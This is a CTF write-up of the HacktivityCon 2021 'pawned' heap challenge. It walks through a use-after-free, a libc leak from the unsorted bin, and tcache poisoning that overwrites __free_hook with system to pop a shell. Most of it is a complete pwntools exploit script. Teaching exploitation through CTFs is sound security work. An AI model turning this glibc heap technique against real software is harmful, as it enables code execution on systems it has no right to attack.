# pawned

## Files

{% embed url="<https://github.com/0xTen/CTFs/tree/main/hacktivitycon/2021/pawned>" %}

## The binary

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mjujlr77RADGWdqXaDX%2F-MjuyRbkzHjCd-8HNCxL%2Fimage.png?alt=media\&token=12369f5a-4cd0-4fd3-b661-fe31b419becc)

The binary has 4 main features, one of them being a secret one that can be found reversing the binary and what those basically do is free, allocate, dump and edit chunks.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mjujlr77RADGWdqXaDX%2F-MjvXOlB9LRPuio5cWpN%2Fimage.png?alt=media\&token=b50c0407-abe5-42c8-8f48-068b67232a3d)

When freeing chunks, the pointer isn't removed from the list, creating a use-after-free condition and, potentially, memory leaks as well.

As always, I started by creating a few helper functions.

```python
#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)
```

## Leak libc

If we make a unsorted bin size allocation and then free it, the pointer will still exist but now will point to it's metadata, which contains a pointer to libc main arena, so we can easily leak libc.

```python
    [...]
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    [...]
```

Then we just need to parse the leak and subtract the offset to get the libc base.

```python
def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0
```

## Tcache poisoning

At this point, all we have to do is to set a tcache list to poison, free one of the chunks in the list then edit the fd pointer by abusing the use-after-free bug so we can allocate in arbitrary memory.

![](https://630407063-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZD3WIm997ouoGhrdss%2F-Mjv_2HV-llZmhPm1nbh%2F-Mjv_mjWmLiVAUZqULfK%2Fimage.png?alt=media\&token=efc55652-721a-40a0-b201-7b0246f4a4fc)

## Final exploit

At this point my strategy was pretty simple, allocate at `__free_hook` , then edit with a pointer to system and free a chunk with /bin/sh in it's contents so when a free is called I'll get a shell.

```python
#!/usr/bin/env python
from pwn import *
import sys

# Defitions
e = context.binary = ELF('./pawned',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)

if args.REMOTE:
    io = remote('challenge.ctf.games',30197)
else:
    io = process(e.path)

def alloc(len,data=''):
    io.sendlineafter('> ','s')
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

def free(idx):
    io.sendlineafter('> ','b')
    io.sendlineafter(': ',str(idx))

def dump():
    io.sendlineafter('> ','p')

def edit(idx,len,data=''):
    io.sendlineafter('> ','m')
    io.sendlineafter(': ',str(idx))
    io.sendlineafter(': ','1')
    io.sendlineafter(': ',str(len))
    io.sendlineafter(': ',data)

# Exploit
def leak_libc():
    io.recvuntil('Name: ')
    leak = u64(io.recv()[:6].ljust(8,'\x00'))
    return leak - 0x1ebbe0

def pwn():
    alloc(0x600) #1
    alloc(0x10) # 2 avoid top-chunk consolidation
    free(1)
    dump()
    libc.address = leak_libc()
    io.sendline('0') # realign I/O stream
    log.success('Libc: ' + hex(libc.address))
    alloc(0x40) #3
    alloc(0x40) #4 tcache poison
    alloc(0x40) #5
    free(3)
    free(4)
    edit(4,0x40,p64(libc.address + 0x1eeb28))
    free(2)
    alloc(0x40,'/bin/sh') #6
    alloc(0x40,p64(libc.sym['system'])) #6
    free(6)
    io.recv(1024)

pwn()
io.interactive()
```
